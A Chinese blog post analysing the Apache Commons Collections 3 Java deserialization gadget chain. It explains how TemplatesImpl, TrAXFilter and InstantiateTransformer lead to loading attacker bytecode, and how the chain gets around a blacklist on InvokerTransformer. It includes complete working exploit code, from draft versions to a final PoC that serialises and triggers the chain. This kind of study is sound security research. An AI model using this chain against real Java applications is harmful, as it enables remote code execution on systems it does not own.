• CommonsCollections3分析


    CommonsCollections3调用链图

    TemplatesImpI类分析

    进入TemplatesImpl进行分析

    分析getTransletInstance

     这里有两个判断条件

    如果_name==null 返回null

    如果_class==null就调用defineTransletClasses() 下来跟进defineTransletClasses() 

    分析defineTransletClasses()

    这里如果_bytecodes==null就执行错误处理语句块 

    看上图代码紧接着进行获取当前_class的getSuperclass()获取超类 再进行判断这个超类是不是包含在ABSTRACT_TRANSLET 如果存在泽执行if里面的diamagnetic对_transletIndex赋值 

    这个常量中 可以跟进这个常量看看这个常量中存储了什么值

    可以看到这里对 AbstractTranslet复制了AbstractTranslet这个类所以我们恶意类要继承它

     注意再获取超类这里 这里我们就需要对_bytecodes中的恶意类进行继承AbstractTranslet继承之后才能完成这个条件

    这里我们可以构造我们初步测试的poc 版本一

     1 //实例化TemplatesImpl
     2 TemplatesImpl templates=new TemplatesImpl();
     3 //获取TemplatesImpl的Class
     4 Class tc=templates.getClass();
     5 Field nameField=tc.getDeclaredField("_name");
     6 nameField.setAccessible(true);
     7 nameField.set(templates,"aaaa");
     8 Field bytecodesField=tc.getDeclaredField("_bytecodes");
     9 bytecodesField.setAccessible(true);
    10 //加载恶意类
    11 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
    12 byte[][] codes={code};
    13 bytecodesField.set(templates,codes);
    14 
    15 Field tfactoryField=tc.getDeclaredField("_tfactory");
    16 tfactoryField.setAccessible(true);
    17 tfactoryField.set(templates,new TransformerFactoryImpl());
    18 #调用
    19 templates.newTransformer();
    View Code

    我们可以复盘一下我们通过TemplatesImpl调用链子

    TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

    下来我们的目标就是想办法调用newTransformer() 我们可以使用之前cc1的方法

    这里的newTransformr可以用transformers进行链式调用newTransformer

    Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null),
            };
    
    ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

    下来把剩下的cc1 LzayMap本剩下的代码站过来即可

    初步测试版本的poc 二

     1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
     2 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
     3 import org.apache.commons.collections.Transformer;
     4 import org.apache.commons.collections.functors.ChainedTransformer;
     5 import org.apache.commons.collections.functors.ConstantTransformer;
     6 import org.apache.commons.collections.functors.InvokerTransformer;
     7 import org.apache.commons.collections.map.LazyMap;
     8 import java.io.ByteArrayInputStream;
     9 import java.io.ByteArrayOutputStream;
    10 import java.io.ObjectInputStream;
    11 import java.io.ObjectOutputStream;
    12 import java.lang.reflect.*;
    13 import java.nio.file.Files;
    14 import java.nio.file.Paths;
    15 import java.util.HashMap;
    16 import java.util.Map;
    17 
    18 
    19 public class cc3aa{
    20     public static void main(String[] args)throws Exception {
    21 
    22         TemplatesImpl templates=new TemplatesImpl();
    23         Class tc=templates.getClass();
    24         Field nameField=tc.getDeclaredField("_name");
    25         nameField.setAccessible(true);
    26         nameField.set(templates,"aaaa");
    27         Field bytecodesField=tc.getDeclaredField("_bytecodes");
    28         bytecodesField.setAccessible(true);
    29 
    30         byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
    31         byte[][] codes={code};
    32         bytecodesField.set(templates,codes);
    33 
    34         Field tfactoryField=tc.getDeclaredField("_tfactory");
    35         tfactoryField.setAccessible(true);
    36         tfactoryField.set(templates,new TransformerFactoryImpl());
    37 
    38 
    39         Transformer[] transformers=new Transformer[]{
    40             new ConstantTransformer(templates),
    41             new InvokerTransformer("newTransformer",null,null),
    42         };
    43 
    44         ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
    45 
    46         HashMap<Object,Object> map=new HashMap<Object, Object>();
    47         Map<Object,Object> lazyMap=LazyMap.decorate(map,chainedTransformer);
    48 
    49         Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    50         Constructor annotationInvocationdhdConstructor=c.getDeclaredConstructor(Class.class,Map.class);
    51         annotationInvocationdhdConstructor.setAccessible(true);
    52         InvocationHandler h= (InvocationHandler) annotationInvocationdhdConstructor.newInstance(Override.class,lazyMap);
    53 
    54 
    55         Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
    56 
    57         Object os=annotationInvocationdhdConstructor.newInstance(Override.class,mapProxy);
    58 
    59         ByteArrayOutputStream barr = new ByteArrayOutputStream();
    60         ObjectOutputStream oos = new ObjectOutputStream(barr);
    61         oos.writeObject(os);
    62         oos.close();
    63         System.out.println(barr);
    64 
    65         ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    66         Object o=ois.readObject();
    67         System.out.println(o);
    68 
    69 
    70 
    71 
    72     }
    73 }
    测试poc版本2代码

    这个版本测试poc可以完全成功执行代码 但是问题来了

    这个⿊名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利⽤链。有攻就有防,ysoserial随后增加了不少新的Gadgets,其中就包括本次的CommonsCollections3。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法,⽽是⽤到了另⼀个类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。

    这个类的构造⽅法中调⽤了 (TransformerImpl) templates.newTransformer() ,免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步

    TrAXFilter类分析

    可以看到第61行

    因为第一个版本的java序列化 这里调用了newTransformer()方法

    这个类是不能被序列化的

    cc3的作者着使用InstantiateTransformer

    InstantiateTransformer类分析

    从第100行开始看可以看到这里判断传进来的是不是Class类型 如果是再102行使用getConstructor()获得指定类构造器 紧接着106行newInstance调用了构造器获得的方法并传入变量值

    newInstance 方法对对象进行初始化 调用方法

    构造

    InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
    Transformer[] transformers=new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer
       };

    调用instantiateTransformer.transform()方法并传入TrAXFilter.class 这样再程序进入到InstantiateTransformer中的transform中执行的时候 这样就可以调用TrAXFilter.class的构造方法并将 Templates.class类传入到getConstructor()这样是调用指定的类方法TrAXFilter.class中的指定的类方法 再程序进入到到106行进行了newInstance方法调用 将传进来的templates传给被调构造方法中的变量

    最终poc

    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InstantiateTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.xalan.xsltc.trax.TrAXFilter;
    
    
    import javax.xml.transform.Templates;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.*;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.HashMap;
    import java.util.Map;
    
    
    public class cc3aa{
        public static void main(String[] args)throws Exception {
    
            TemplatesImpl templates=new TemplatesImpl();
            Class tc=templates.getClass();
            Field nameField=tc.getDeclaredField("_name");
            nameField.setAccessible(true);
            nameField.set(templates,"aaaa");
            Field bytecodesField=tc.getDeclaredField("_bytecodes");
            bytecodesField.setAccessible(true);
    
            byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
            byte[][] codes={code};
            bytecodesField.set(templates,codes);
    
            Field tfactoryField=tc.getDeclaredField("_tfactory");
            tfactoryField.setAccessible(true);
            tfactoryField.set(templates,new TransformerFactoryImpl());
    
    
    
            InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
            Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
            };
    
            ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
    //
            HashMap<Object,Object> map=new HashMap<Object, Object>();
            Map<Object,Object> lazyMap= LazyMap.decorate(map,chainedTransformer);
    
            Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationdhdConstructor=c.getDeclaredConstructor(Class.class,Map.class);
            annotationInvocationdhdConstructor.setAccessible(true);
            InvocationHandler h= (InvocationHandler) annotationInvocationdhdConstructor.newInstance(Override.class,lazyMap);
            Map mapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
            Object os=annotationInvocationdhdConstructor.newInstance(Override.class,mapProxy);
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
    
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(os);
            oos.close();
            System.out.println(barr);
    
            ObjectInputStream ois =new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o=ois.readObject();
            System.out.println(o);
    
        }
    }
  • 相关阅读:
    分布式任务调度系统xxl-job相关问题补充
    分布式任务调度系统xxl-job源码探究(一、客户端)
    分布式任务调度系统xxl-job源码探究(二、服务中心)
    分布式任务调度系统xxl-job搭建
    Rocketmq日志收集与logback集成Demo
    [JavaWeb基础] 006.Struts1的配置和简单使用
    [JavaWeb基础] 005.Hibernate的配置和简单使用
    [工具推荐]003.Tortoisegit使用教程
    移动推广关键指标
    [Objective-C] 009_Foundation框架之NSDictionary与NSMutableDictionary
  • 原文地址:https://www.cnblogs.com/xhds/p/15732776.html
Copyright © 2020-2023  润新知